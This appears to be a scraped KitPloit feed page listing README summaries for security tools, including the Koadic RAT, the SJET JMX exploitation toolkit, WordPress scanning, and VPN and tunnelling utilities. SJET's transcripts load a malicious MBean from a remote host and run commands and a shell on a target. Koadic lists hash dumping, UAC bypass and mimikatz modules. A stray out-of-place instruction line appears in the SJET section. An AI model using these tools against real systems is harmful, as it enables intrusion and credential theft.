Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5750 articles
Browse latest View live

PiSavar - WiFi Pineapple Module (Analysis, Detect, Kill)

$
0
0

The goal of this project is to find out the fake access points opened by the WiFi pineapple device using the PineAP module and to prevent clients from being affected by initiating a deauthentication attack to the attacking device.

How PineAP Module Works
  • Collects SSID information
  • Creates SSID pool with collected SSID information
  • Creates fake access points using information in the SSID pool


Where is the problem?
  • One MAC address, more than one SSID information .... ..- -. - . .-.

Features of PiSavar
  • Detects PineAP activities
  • Detects networks opened by PineAP.
  • Starts deauthentication attack for PineAP.

Features to add
  • List of clients connected to fake access points
  • Record activities - Logging

Diagram

Usage

Requirements
  • Hardware: TP LINK TL-WN722N
  • Modules: scapy, time, termcolor, sys

Kali Linux:
Download pisavar:
git clone https://github.com/besimaltnok/PiSavar.git

Install Python librarie(s):
pip install termcolor

It's done!
Run the program with following command:
Monitor mode:
airmon-ng start interface(wlan0,wlan1) (Monitor mode)

or

ifconfig wlan0 down
iwconfig wlan0 mode Monitor
ifconfig wlan0 up
Run:
cd PiSavar
python pisavar.py wlan0mon

Screenshots



Demo Video


Authors
This project is coded by Besim ALTINOK



SweetSecurity - Network Security Monitoring on Raspberry Pi type devices

$
0
0

Scripts to setup and install Bro IDS, Elasticsearch, Logstash, Kibana, and Critical Stack on any device.

Getting Sweet Security

Either download the Github repository manually, or clone the repo with the following command:
$ git clone https://github.com/travisfsmith/sweetsecurity


Prerequisites

Most of the dependencies will be installed during installation. However you will need to make sure these are followed before trying to install the code.

Supported Operating Systems
  • Raspbian Jessie
  • Debian Jessie
  • Ubuntu 16.04

Supported Hardware
  • RaspberryPi 3
  • x86
  • x86_64

System Requirements
  • ARM, x86, or x86_64 CPU
  • 2GB RAM
  • 8GB Disk Storage
  • 100 MB NIC (Recommended 1GB) Note: 2GB of storage is required while the Raspberry Pi 3 only has 1GB. The code can be split to run on two devices, such as two Raspberry Pi's or a Raspberry Pi and AWS.

Packages
  • Python 2.7
sudo apt install python

  • Java 1.8
sudo apt install default-jre

Note: Debian requires a few unique steps to get Java 1.8 installed. TecAdmin has a great guide on how to accomplish that. https://tecadmin.net/install-java-8-on-debian/
All other packages will be installed during Sweet Security installation. Below are the list of system packages installed by the installer:
  • curl
  • curl
  • cmake
  • g++
  • flex
  • bison
  • libpcap-dev
  • libssl-dev
  • python-dev
  • python-pip
  • python-flask
  • python-scapy
  • apache2
  • libapache2-mod-wsgi
  • swig
  • nmap
  • tcpdump
  • oracle-java8-jdk (Raspbian Only)
  • ant (Raspbian Only)
  • zip (Raspbian Only)
Below are the list of packages installed by pip:
  • elasticsearch
  • requests
  • flask-mail
  • flask_wtf
  • cryptography

Installation

sudo python setup.py


Installation Types
  1. Full Install: This will install Bro IDS, Critical Stack (optional), Logstash, Elasticsearch, Kibana, Apache, and Sweet Security Client/Server. Choose this option ONLY if you have 2GB of memory or more.
  2. Sensor Only: This will install Bro IDS, Critical Stack (optional), Logstash, and Sweet Security Client
  3. Web Server Only: This will install Elasticsearch, Kibana, Apache, and Sweet Security Server

Interface

You will only need a single configured interface for Sweet Security. If you have two or more configured interfaces configured, you will be prompted to choose which one to use for Sweet Security. If there is only a single configured interface, the installer will choose this for you automatically. The chosen interface will be used for:
  • Client: ARP Spoofing
  • Client: Network Scans
  • Client: Bro IDS Inspection
  • Server: Website Hosting
Credentials

The installer will prompt you to create two credentials. The web portal credentials are used to protect the Flask App and Kibana. The Elasticsearch credentials will protect Elasticsearch only. Currently, only character can be used in the password except for double-quotes. The installer passes the password to the htpasswd command, which is encapsulated in double quotes.

Critical Stack

Critical Stack can be optionally installed on the Sensor alongside Bro IDS. If you choose to install Critical Stack, you will be prompted to enter in your Critical Stack API Key during installation.

FileCheckIO


Any files found by Bro IDS can be referenced against FileCheck.io. If you have an account and would like to check files against this, you will be prompted to enter in your API key during installation.
    New Functionality:
    • Modularized Installation - Choose to deploy all the tools on one device, or split among multiple for better performance.
      • Full Install - Deploy Bro IDS, Critical Stack, Elasticsearch, Logstash, Kibana, Apache, and Sweet Security
      • Sensor Install - Deploy Bro IDS, Critical Stack, Logstash, and Sweet Security
      • Web Admin Install - Deploy Elasticsearch, Kibana, and Apache
    • ARP Spoofing - Full code to monitor all network traffic out of the box without network changes.
    • Complete Bro Log Support - All Bro log files are now normalized by Logstash
    • Kibana Content - Searches, Visualizations, and Dashboards are now included
    • Architecture Support - Now supports installing on non ARM architectures
    • Custom NMAP Pre-Fix - updated NMAP pre-fixes based on the IEEE OUI list
    • Web Administration - apache/flask based web administration to manage known devices and system health
    Fixes:
    • Optimized Logstash Config
    • Updated Bro IDS to 2.5.1
    • Updated Logstash to version 5.5.1
    • Updated Elasticsearch to version 5.5.1
    • Update kibana to version 5.5.1


    Koadic - COM Command & Control Framework (JScript RAT)

    $
    0
    0

    Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.
    It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled).

    Koadic also attempts to be compatible with both Python 2 and Python 3.

    Demo

    1. Hooks a zombie
    2. Elevates integrity (UAC Bypass)
    3. Dumps SAM/SECURITY hive for passwords
    4. Scans local network for open SMB
    5. Pivots to another machine

    Stagers
    Stagers hook target zombies and allow you to use implants.
    ModuleDescription
    stager/js/mshtaserves payloads in memory using MSHTA.exe HTML Applications
    stager/js/regsvrserves payloads in memory using regsvr32.exe COM+ scriptlets
    stager/js/rundll32_jsserves payloads in memory using rundll32.exe
    stager/js/diskserves payloads using files on disk

    Implants
    Implants start jobs on zombies.
    ModuleDescription
    implant/elevate/bypassuac_eventvwrUses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
    implant/elevate/bypassuac_sdcltUses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
    implant/fun/zombieMaxes volume and opens The Cranberries YouTube in a hidden window.
    implant/fun/voicePlays a message over text-to-speech.
    implant/gather/clipboardRetrieves the current content of the user clipboard.
    implant/gather/hashdump_samRetrieves hashed passwords from the SAM hive.
    implant/gather/hashdump_dcDomain controller hashes from the NTDS.dit file.
    implant/inject/mimikatz_dynwrapxInjects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X).
    implant/inject/mimikatz_dotnet2jsInjects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS).
    implant/inject/shellcode_excelRuns arbitrary shellcode payload (if Excel is installed).
    implant/manage/enable_rdesktopEnables remote desktop on the target.
    implant/manage/exec_cmdRun an arbitrary command on the target, and optionally receive the output.
    implant/pivot/stage_wmiHook a zombie on another machine using WMI.
    implant/pivot/exec_psexecRun a command on another machine using psexec from sysinternals.
    implant/scan/tcpUses HTTP to scan open TCP ports on the target zombie LAN.
    implant/utils/download_fileDownloads a file from the target zombie.
    implant/utils/upload_fileUploads a file from the listening server to the target zombies.

    Disclaimer
    Code samples are provided for educational purposes. Adequate defenses can only be built by researching attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages from misuse of this information or code.

    Creators

    Contributors

    Acknowledgements
    Special thanks to research done by the following individuals:


    Algo VPN - Set up a personal IPSEC VPN in the cloud

    $
    0
    0

    Algo VPN is a set of Ansible scripts that simplify the setup of a personal IPSEC VPN. It uses the most secure defaults available, works with common cloud providers, and does not require client software on most devices.

    Features
    • Supports only IKEv2 with strong crypto: AES-GCM, SHA2, and P-256
    • Generates Apple profiles to auto-configure iOS and macOS devices
    • Includes a helper script to add and remove users
    • Blocks ads with a local DNS resolver (optional)
    • Sets up limited SSH users for tunneling traffic (optional)
    • Based on current versions of Ubuntu and strongSwan
    • Installs to DigitalOcean, Amazon EC2, Microsoft Azure, Google Compute Engine, or your own server

    Anti-features
    • Does not support legacy cipher suites or protocols like L2TP, IKEv1, or RSA
    • Does not install Tor, OpenVPN, or other risky servers
    • Does not depend on the security of TLS
    • Does not require client software on most platforms
    • Does not claim to provide anonymity or censorship avoidance
    • Does not claim to protect you from the FSB, MSS, DGSE, or FSM

    Deploy the Algo Server
    The easiest way to get an Algo server running is to let it set up a newvirtual machine in the cloud for you.
    1. Setup an account on a cloud hosting provider. Algo supports DigitalOcean (most user friendly), Amazon EC2, Google Compute Engine, and Microsoft Azure.
    2. Download Algo. Unzip it in a convenient location on your local machine.
    3. Install Algo's core dependencies. Open the Terminal. The python interpreter you use to deploy Algo must be python2. If you don't know what this means, you're probably fine. cd into the algo-master directory where you unzipped Algo, then run:
      • macOS:
        $ python -m ensurepip --user
        $ python -m pip install --user --upgrade virtualenv
      • Linux (deb-based):
        $ sudo apt-get update && sudo apt-get install \
        build-essential \
        libssl-dev \
        libffi-dev \
        python-dev \
        python-pip \
        python-setuptools \
        python-virtualenv -y
      • Linux (rpm-based): See the Pre-Install Documentation for RedHat/CentOS 6.x
      • Windows: See the Windows documentation
    4. Install Algo's remaining dependencies. Use the same Terminal window as the previous step and run:
      $ python -m virtualenv env && source env/bin/activate && python -m pip install -U pip && python -m pip install -r requirements.txt
      On macOS, you may be prompted to install cc. You should press accept if so.
    5. List the users to create. Open config.cfg in your favorite text editor. Specify the users you wish to create in the users list.
    6. Start the deployment. Return to your terminal. In the Algo directory, run ./algo and follow the instructions. There are several optional features available. None are required for a fully functional VPN server. These optional features are described in greater detail in deploy-from-ansible.md.
    That's it! You will get the message below when the server deployment process completes. You now have an Algo server on the internet. Take note of the p12 (user certificate) password in case you need it later.
    You can now setup clients to connect it, e.g. your iPhone or laptop. Proceed to Configure the VPN Clients below.
            "\"#----------------------------------------------------------------------#\"",
    "\"# Congratulations! #\"",
    "\"# Your Algo server is running. #\"",
    "\"# Config files and certificates are in the ./configs/ directory. #\"",
    "\"# Go to https://whoer.net/ after connecting #\"",
    "\"# and ensure that all your traffic passes through the VPN. #\"",
    "\"# Local DNS resolver 172.16.0.1 #\"",
    "\"# The p12 and SSH keys password is XXXXXXXX #\"",
    "\"#----------------------------------------------------------------------#\"",

    Configure the VPN Clients
    Certificates and configuration files that users will need are placed in the configs directory. Make sure to secure these files since many contain private keys. All files are saved under a subdirectory named with the IP address of your new Algo VPN server.

    Apple Devices
    Send users their Apple Profile. Find the corresponding mobileconfig (Apple Profile) for each user and send it to them over AirDrop or other secure means. Apple Configuration Profiles are all-in-one configuration files for iOS and macOS devices. On macOS, double-clicking a profile to install it will fully configure the VPN. On iOS, users are prompted to install the profile as soon as the AirDrop is accepted.
    Turn on the VPN. On iOS, connect to the VPN by opening Settings and clicking the toggle next to "VPN" near the top of the list. On macOS, connect to the VPN by opening System Preferences -> Network, finding Algo VPN in the left column and clicking "Connect." On macOS, check "Show VPN status in menu bar" to easily connect and disconnect from the menu bar.
    Managing On-Demand VPNs. If you enabled "On Demand", the VPN will connect automatically whenever it is able. On iOS, you can turn off "On Demand" by clicking the (i) next to the entry for Algo VPN and toggling off "Connect On Demand." On macOS, you can turn off "On Demand" by opening the Network Preferences, finding Algo VPN in the left column, and unchecking the box for "Connect on demand."

    Android Devices
    No version of Android supports IKEv2. Install the strongSwan VPN Client for Android 4 and newer. Import the corresponding user.p12 certificate to your device. See the Android setup instructions for more a more detailed walkthrough.

    Windows 10
    Copy your PowerShell script windows_{username}.ps1 and p12 certificate {username}.p12 to the Windows client and run the following command as Administrator to configure the VPN connection.
    powershell -ExecutionPolicy ByPass -File windows_{username}.ps1 Add
    For a manual installation, see the Windows setup instructions.

    Linux Network Manager Clients (e.g., Ubuntu, Debian, or Fedora Desktop)
    Network Manager does not support AES-GCM. In order to support Linux Desktop clients, choose the "compatible" cryptography during the deploy process and use at least Network Manager 1.4.1. See Issue #263 for more information.

    Linux strongSwan Clients (e.g., OpenWRT, Ubuntu Server, etc.)
    Install strongSwan, then copy the included ipsec_user.conf, ipsec_user.secrets, user.crt (user certificate), and user.key (private key) files to your client device. These will require customization based on your exact use case. These files were originally generated with a point-to-point OpenWRT-based VPN in mind.

    Ubuntu Server 16.04 example
    1. sudo apt-get install strongswan strongswan-plugin-openssl: install strongSwan
    2. /etc/ipsec.d/certs: copy <name>.crt from algo-master/configs/<server_ip>/pki/certs/<name>.crt
    3. /etc/ipsec.d/private: copy <name>.key from algo-master/configs/<server_ip>/pki/private/<name>.key
    4. /etc/ipsec.d/cacerts: copy cacert.pem from algo-master/configs/<server_ip>/pki/cacert.pem
    5. /etc/ipsec.secrets: add your user.key to the list, e.g. <server_ip> : ECDSA <name>.key
    6. /etc/ipsec.conf: add the connection from ipsec_user.conf and ensure leftcert matches the <name>.crt filename
    7. sudo ipsec restart: pick up config changes
    8. sudo ipsec up <conn-name>: start the ipsec tunnel
    9. sudo ipsec down <conn-name>: shutdown the ipsec tunnel
    One common use case is to let your server access your local LAN without going through the VPN. Set up a passthrough connection by adding the following to /etc/ipsec.conf:
    conn lan-passthrough
    leftsubnet=192.168.1.1/24 # Replace with your LAN subnet
    rightsubnet=192.168.1.1/24 # Replac with your LAND subnet
    authby=never # No authentication necessary
    type=pass # passthrough
    auto=route # no need to ipsec up lan-passthrough

    Other Devices
    Depending on the platform, you may need one or multiple of the following files.
    • cacert.pem: CA Certificate
    • user.mobileconfig: Apple Profile
    • user.p12: User Certificate and Private Key (in PKCS#12 format)
    • user.sswan: Android strongSwan Profile
    • ipsec_user.conf: strongSwan client configuration
    • ipsec_user.secrets: strongSwan client configuration
    • windows_user.ps1: Powershell script to help setup a VPN connection on Windows

    Setup an SSH Tunnel
    If you turned on the optional SSH tunneling role, then local user accounts will be created for each user in config.cfg and SSH authorized_key files for them will be in the configs directory (user.ssh.pem). SSH user accounts do not have shell access, cannot authenticate with a password, and only have limited tunneling options (e.g., ssh -N is required). This ensures that SSH users have the least access required to setup a tunnel and can perform no other actions on the Algo server.
    Use the example command below to start an SSH tunnel by replacing user and ip with your own. Once the tunnel is setup, you can configure a browser or other application to use 127.0.0.1:1080 as a SOCKS proxy to route traffic through the Algo server.
    ssh -D 127.0.0.1:1080 -f -q -C -N user@ip -i configs/ip_user.ssh.pem

    SSH into Algo Server
    To SSH into the Algo server for administrative purposes you can use the example command below by replacing ip with your own:
    ssh root@ip -i ~/.ssh/algo.pem
    If you find yourself regularly logging into Algo then it will be useful to load your Algo ssh key automatically. Add the following snippet to the bottom of ~/.bash_profile to add it to your shell environment permanently.
    ssh-add ~/.ssh/algo > /dev/null 2>&1
    Note the admin username is ubuntu instead of root on providers other than Digital Ocean.

    Adding or Removing Users
    If you chose the save the CA certificate during the deploy process, then Algo's own scripts can easily add and remove users from the VPN server.
    1. Update the users list in your config.cfg
    2. Open a terminal, cd to the algo directory, and activate the virtual environment with source env/bin/activate
    3. Run the command: ./algo update-users
    After this process completes, the Algo VPN server will contains only the users listed in the config.cfg file.


    Plecost v1.1.1 - Wordpress Finger Printer Tool

    $
    0
    0

    What's Plecost?
    Plecost is a vulnerability fingerprinting and vulnerability finder for Wordpress blog engine.

    Why?
    There are a huge number of Wordpress around the world. Most of them are exposed to be attacked and be converted into a virus, malware or illegal porn provider, without the knowledge of the blog owner.

    This project try to help sysadmins and blog's owners to make a bit secure their Wordpress.

    What's new?

    Plecost 3.1.1
    • Updated CVE database & Wordpress plugin list.
    • Fixed CVE & Wordpress plugins updater.
    • Performance tips
    • Open Issues
    You can read entire list in CHANGELOG file.

    Plecost 3.0.0
    This Plecost 3.0.0 version, add a lot of new features and fixes, like:
    • Fixed a lot of bugs.
    • New engine: without threads or any dependencies, but run more faster. We'll used python 3 asyncio and non-blocking connections. Also consume less memory. Incredible, right? :)
    • Changed CVE update system and storage: Now Plecost get vulnerabilities directly from NIST and create a local SQLite data base with filtered information for Wordpress and theirs plugins.
    • Wordpress vulnerabilities: Now Plecost also manage Wordpress Vulnerabilities (not only for the Plugins).
    • Add local vulnerability database are queryable. You can consult the vulnerabilities for a concrete wordpress or plugins without, using the local database.
    You can read entire list in CHANGELOG file.

    Installation

    Using Pypi
    Install Plecost is so easy:
    > python3 -m pip install plecost
    Remember that Plecost3 only runs in Python 3.

    Using Docker
    If you don't want to install Plecost, you can run it using Docker:
    > docker run --rm iniqua/plecost {ARGS}
    Where {ARGS} is any valid argument of Plecost. A real example could be:
    > docker run --rm iniqua/plecost -nb -w plugin_list_10.txt http://SITE.com

    Quick start
    Scan a web site si so simple:
    > plecost http://SITE.com
    A bit complex scan: increasing verbosity exporting results in JSON format and XML:
    JSON
    > plecost -v http://SITE.com -o results.json
    XML
    > plecost -v http://SITE.com -o results.xml

    Advanced scan options
    No check WordPress version, only for plugins:
    > plecost -nc http://SITE.com 
    Force scan, even if not Wordpress was detected:
    > plecost -f http://SITE.com
    Display only the short banner:
    > plecost -nb http://SITE.com
    List available wordlists:
    > plecost -nb -l 

    // Plecost - Wordpress finger printer Tool - v1.0.0

    Available word lists:
    1 - plugin_list_10.txt
    2 - plugin_list_100.txt
    3 - plugin_list_1000.txt
    4 - plugin_list_250.txt
    5 - plugin_list_50.txt
    6 - plugin_list_huge.txt
    Select a wordlist in the list:
    > plecost -nb -w plugin_list_10.txt http://SITE.com
    Increasing concurrency (USE THIS OPTION WITH CAUTION. CAN SHUTDOWN TESTED SITE!)
    > plecost --concurrency 10 http://SITE.com
    Or...
    > plecost -c 10 http://SITE.com
    For more options, consult the --help command:
    > plecost -h

    Updating
    New versions and vulnerabilities are released diary, you can upload the local database writing:
    Updating vulnerability database:
    > plecost --update-cve
    Updating plugin list:
    > plecost --update-plugins

    Reading local vulnerability database
    Plecost has a local vulnerability database of Wordpress and wordpress plugins. You can consult it in off-line mode.
    Listing all known plugins with vulnerabilities:
    > plecost -nb --show-plugins

    // Plecost - Wordpress finger printer Tool - v1.0.0

    [*] Plugins with vulnerabilities known:

    { 0 } - acobot_live_chat_%26_contact_form
    { 1 } - activehelper_livehelp_live_chat
    { 2 } - ad-manager
    { 3 } - alipay
    { 4 } - all-video-gallery
    { 5 } - all_in_one_wordpress_security_and_firewall
    { 6 } - another_wordpress_classifieds_plugin
    { 7 } - anyfont
    { 8 } - april%27s_super_functions_pack
    { 9 } - banner_effect_header
    { 10 } - bannerman
    { 11 } - bib2html
    { 12 } - bic_media_widget
    { 13 } - bird_feeder
    { 14 } - blogstand-smart-banner
    { 15 } - blue_wrench_video_widget
    ...

    [*] Done!
    Show vulnerabilities of a concrete plugin:
    > plecost -nb -vp google_analytics

    // Plecost - Wordpress finger printer Tool - v1.0.0

    [*] Associated CVEs for plugin 'google_analytics':

    { 0 } - CVE-2014-9174:

    Affected versions:

    <0> - 5.1.2
    <1> - 5.1.1
    <2> - 5.1
    <3> - 5.1.0

    [*] Done!
    Show details of a concrete CVE:
    > plecost -nb --cve CVE-2014-9174

    // Plecost - Wordpress finger printer Tool - v1.0.0

    [*] Detail for CVE 'CVE-2014-9174':

    Cross-site scripting (XSS) vulnerability in the Google Analytics by Yoast (google-analytics-for-wordpress) plugin before 5.1.3 for WordPress allows remote attackers to inject arbitrary web script or HTML via the "Manually enter your UA code" (manual_ua_code_field) field in the General Settings.


    [*] Done!

    Examples
    Getting the 100k top WordPress sites (http://hackertarget.com/100k-top-wordpress-powered-sites/) and getting aleatory one of them...



    Where to fish?
    Plecost is available on:

    SJET - JMX Exploitation Toolkit

    $
    0
    0

    Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks. Those resources are represented by objects called MBeans (for Managed Bean). In the API, classes can be dynamically loaded and instantiated. Managing and monitoring applications can be designed and developed using the Java Dynamic Management Kit.

    SJET is a JMX exploitation toolkit.

    Prerequisites

    Usage
    SJET implements a CLI interface (using argparse):
    jython sjet.py targetHost targetPort MODE (modeOptions)
    Where
    • targetHost - the target IP address
    • targerPort - the target port where JMX is running
    • MODE - the script mode
    • modeOptions - the options for the mode selected

    Modes and modeOptions
    • install - installs the payload in the current target.
      • payload_url - full URL to load the payload
      • payload_port - port to load the payload
    • command - runs the command CMD in the targetHost
      • CMD - the command to run
    • javascript - runs a javascript file FILENAME in the targetHost
    • shell - starts a simple shell in targetHost (with the limitations of java's Runtime.exec())
    Explain how to run the automated tests for this system

    Example

    Installing the payload in a Windows target:
    Patricios-MacBook-Pro:sjet preller$ Jython sjet.py 192.168.56.101 8008 install http://192.168.56.1 8888
    [+] sjet was brought to you by siberas :)
    [+] Starting webserver at port 8888
    [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.56.101:8008/jmxrmi
    [+] Connected: rmi://192.168.56.1 1
    [+] Loaded javax.management.loading.MLet
    [+] Loading malicious MBean from http://192.168.56.1:8888
    [+] Invoking: javax.management.loading.MLet.getMBeansFromURL
    192.168.56.101 - - [11/Aug/2017 11:16:10] "GET / HTTP/1.1" 200 -
    192.168.56.101 - - [11/Aug/2017 11:16:10] "GET /siberas_mlet.jar HTTP/1.1" 200 -
    [+] Successfully loaded Siberas:name=payload,id=1
    Patricios-MacBook-Pro:sjet preller$

    Running the command 'dir' in a Windows target:
    Patricios-MacBook-Pro:sjet preller$ Jython sjet.py 192.168.56.101 8008 command "dir"
    [+] sjet was brought to you by siberas :)
    [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.56.101:8008/jmxrmi
    [+] Connected: rmi://192.168.56.1 2
    [+] Loaded de.siberas.lab.SiberasPayload
    [+] Executing command: dir
    Volume in drive C has no label.
    Volume Serial Number is E0CE-337D

    Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0

    08/11/2017 01:34 AM <DIR> .
    08/11/2017 01:34 AM <DIR> ..
    08/11/2017 01:34 AM 3 ASDASD.txt
    08/10/2017 07:08 AM <DIR> bin
    08/10/2017 07:08 AM <DIR> conf
    08/10/2017 07:08 AM <DIR> lib
    08/02/2017 01:29 PM 58,153 LICENSE
    08/11/2017 01:24 AM <DIR> logs
    08/02/2017 01:29 PM 1,859 NOTICE
    08/02/2017 01:29 PM 6,881 RELEASE-NOTES
    08/11/2017 02:16 AM <DIR> temp
    08/02/2017 01:29 PM 21,630 tomcat.ico
    08/02/2017 01:29 PM 73,690 Uninstall.exe
    08/10/2017 07:08 AM <DIR> webapps
    08/10/2017 07:08 AM <DIR> work
    08/11/2017 02:30 AM 17 _____SURELY_A_SAFE_FILE_____.exe
    08/11/2017 02:29 AM 17 _____AND_DONT_CALL_ME_SHIRLEY_____.exe
    8 File(s) 162,253 bytes
    9 Dir(s) 124,198,735,872 bytes free

    [+] Done
    Patricios-MacBook-Pro:sjet preller$

    Running the file poc.js in a Windows target:
    Patricios-MacBook-Pro:sjet preller$ Jython sjet.py 192.168.56.101 8008 javascript "poc.js"
    [+] sjet was brought to you by siberas :)
    [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.56.101:8008/jmxrmi
    [+] Connected: rmi://192.168.56.1 4
    [+] Loaded de.siberas.lab.SiberasPayload
    [+] Executing script
    None

    Patricios-MacBook-Pro:sjet preller$

    Running ping in shell mode in a Windows target:
    Patricios-MacBook-Pro:sjet preller$ Jython sjet.py 192.168.56.101 8008 shell
    [+] sjet was brought to you by siberas :)
    [+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.56.101:8008/jmxrmi
    [+] Connected: rmi://192.168.56.1 9
    [+] Use command 'exit_shell' to exit the shell
    >>> ping 127.0.0.1
    [+] Loaded de.siberas.lab.SiberasPayload
    [+] Executing command: ping 127.0.0.1

    Pinging 127.0.0.1 with 32 bytes of data:
    Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
    Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
    Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
    Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

    Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms


    >>>
    >>>
    [4]+ Stopped Jython sjet.py 192.168.56.101 8008 shell
    Patricios-MacBook-Pro:sjet preller$

    Authors
    • Hans-Martin Münch - Initial idea and work - h0ng10
    • Patricio Reller - CLI and extra options - preller

    faker.js - Generate Massive Amounts of Fake Data

    $
    0
    0

    Generate massive amounts of fake data in Node.js and the browser.

    Demo
    https://cdn.rawgit.com/Marak/faker.js/master/examples/browser/index.html

    Hosted API Microservice
    http://faker.hook.io
    • Supports all Faker API Methods
    • Full-Featured Microservice
    • Hosted by hook.io
    curl http://faker.hook.io?property=name.findName&locale=de

    Usage

    Browser
    <script src = "faker.js" type = "text/javascript"></script>
    <script>
    var randomName = faker.name.findName(); // Caitlyn Kerluke
    var randomEmail = faker.internet.email(); // Rusty@arne.info
    var randomCard = faker.helpers.createCard(); // random contact card containing many properties
    </script>

    Node.js
    var faker = require('faker');

    var randomName = faker.name.findName(); // Rowan Nikolaus
    var randomEmail = faker.internet.email(); // Kassandra.Haley@erich.biz
    var randomCard = faker.helpers.createCard(); // random contact card containing many properties

    API

    Faker.fake()
    faker.js contains a super useful generator method Faker.fake for combining faker API methods using a mustache string format.
    Example:
    console.log(faker.fake("{{name.lastName}}, {{name.firstName}} {{name.suffix}}"));
    // outputs: "Marks, Dean Sr."
    This will interpolate the format string with the value of methods name.lastName(), name.firstName(), and name.suffix()

    JSDoc API Browser
    http://marak.github.io/faker.js/

    API Methods
    • address
      • zipCode
      • city
      • cityPrefix
      • citySuffix
      • streetName
      • streetAddress
      • streetSuffix
      • streetPrefix
      • secondaryAddress
      • county
      • country
      • countryCode
      • state
      • stateAbbr
      • latitude
      • longitude
    • commerce
      • color
      • department
      • productName
      • price
      • productAdjective
      • productMaterial
      • product
    • company
      • suffixes
      • companyName
      • companySuffix
      • catchPhrase
      • bs
      • catchPhraseAdjective
      • catchPhraseDescriptor
      • catchPhraseNoun
      • bsAdjective
      • bsBuzz
      • bsNoun
    • database
      • column
      • type
      • collation
      • engine
    • date
      • past
      • future
      • between
      • recent
      • month
      • weekday
    • fake
    • finance
      • account
      • accountName
      • mask
      • amount
      • transactionType
      • currencyCode
      • currencyName
      • currencySymbol
      • bitcoinAddress
      • iban
      • bic
    • hacker
      • abbreviation
      • adjective
      • noun
      • verb
      • ingverb
      • phrase
    • helpers
      • randomize
      • slugify
      • replaceSymbolWithNumber
      • replaceSymbols
      • shuffle
      • mustache
      • createCard
      • contextualCard
      • userCard
      • createTransaction
    • image
      • image
      • avatar
      • imageUrl
      • abstract
      • animals
      • business
      • cats
      • city
      • food
      • nightlife
      • fashion
      • people
      • nature
      • sports
      • technics
      • transport
      • dataUri
    • internet
      • avatar
      • email
      • exampleEmail
      • userName
      • protocol
      • url
      • domainName
      • domainSuffix
      • domainWord
      • ip
      • ipv6
      • userAgent
      • color
      • mac
      • password
    • lorem
      • word
      • words
      • sentence
      • slug
      • sentences
      • paragraph
      • paragraphs
      • text
      • lines
    • name
      • firstName
      • lastName
      • findName
      • jobTitle
      • prefix
      • suffix
      • title
      • jobDescriptor
      • jobArea
      • jobType
    • phone
      • phoneNumber
      • phoneNumberFormat
      • phoneFormats
    • random
      • number
      • arrayElement
      • objectElement
      • uuid
      • boolean
      • word
      • words
      • image
      • locale
      • alphaNumeric
    • system
      • fileName
      • commonFileName
      • mimeType
      • commonFileType
      • commonFileExt
      • fileType
      • fileExt
      • directoryPath
      • filePath
      • semver

    Localization
    As of version v2.0.0 faker.js has support for multiple localities.
    The default language locale is set to English.
    Setting a new locale is simple:
    // sets locale to de
    faker.locale = "de";
    • az
    • cz
    • de
    • de_AT
    • de_CH
    • en
    • en_AU
    • en_BORK
    • en_CA
    • en_GB
    • en_IE
    • en_IND
    • en_US
    • en_au_ocker
    • es
    • es_MX
    • fa
    • fr
    • fr_CA
    • ge
    • id_ID
    • it
    • ja
    • ko
    • nb_NO
    • nep
    • nl
    • pl
    • pt_BR
    • ru
    • sk
    • sv
    • tr
    • uk
    • vi
    • zh_CN
    • zh_TW

    Individual Localization Packages
    As of vesion v3.0.0 faker.js supports incremental loading of locales.
    By default, requiring faker will include all locale data.
    In a production environment, you may only want to include the locale data for a specific set of locales.
    // loads only de locale
    var faker = require('faker/locale/de');

    Setting a randomness seed
    If you want consistent results, you can set your own seed:
    faker.seed(123);

    var firstRandom = faker.random.number();

    // Setting the seed again resets the sequence.
    faker.seed(123);

    var secondRandom = faker.random.number();

    console.log(firstRandom === secondRandom);

    Tests
    npm install .
    make test
    You can view a code coverage report generated in coverage/lcov-report/index.html.

    Projects Built with faker.js

    Fake JSON Schema
    Use faker generators to populate JSON Schema samples. See: https://github.com/pateketrueke/json-schema-faker/

    CLI
    Run faker generators from Command Line. See: https://github.com/lestoni/faker-cli
    Want to see your project added here? Let us know!

    Meteor

    Meteor Installation
    meteor add practicalmeteor:faker

    Meteor Usage, both client and server
    var randomName = faker.name.findName(); // Rowan Nikolaus
    var randomEmail = faker.internet.email(); // Kassandra.Haley@erich.biz
    var randomCard = faker.helpers.createCard(); // random contact card containing many properties

    Building faker.js
    faker uses gulp to automate it's build process. Running the following build command will generate new browser builds, documentation, and code examples for the project.
    npm run-script build

    Building JSDocs
    npm run-script doc


    Udp2raw-tunnel - A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket [Bypass UDP FireWalls]

    $
    0
    0

    A UDP Tunnel which tunnels UDP via FakeTCP/UDP/ICMP Traffic by using Raw Socket, helps you Bypass UDP FireWalls (or Unstable UDP Environment). Its Encrypted, Anti-Replay and Multiplexed.It also acts as a Connection Stabilizer.

    Support Platforms
    A Linux host (including desktop Linux, Android phone/tablet, OpenWRT router, or Raspberry PI) with root access.
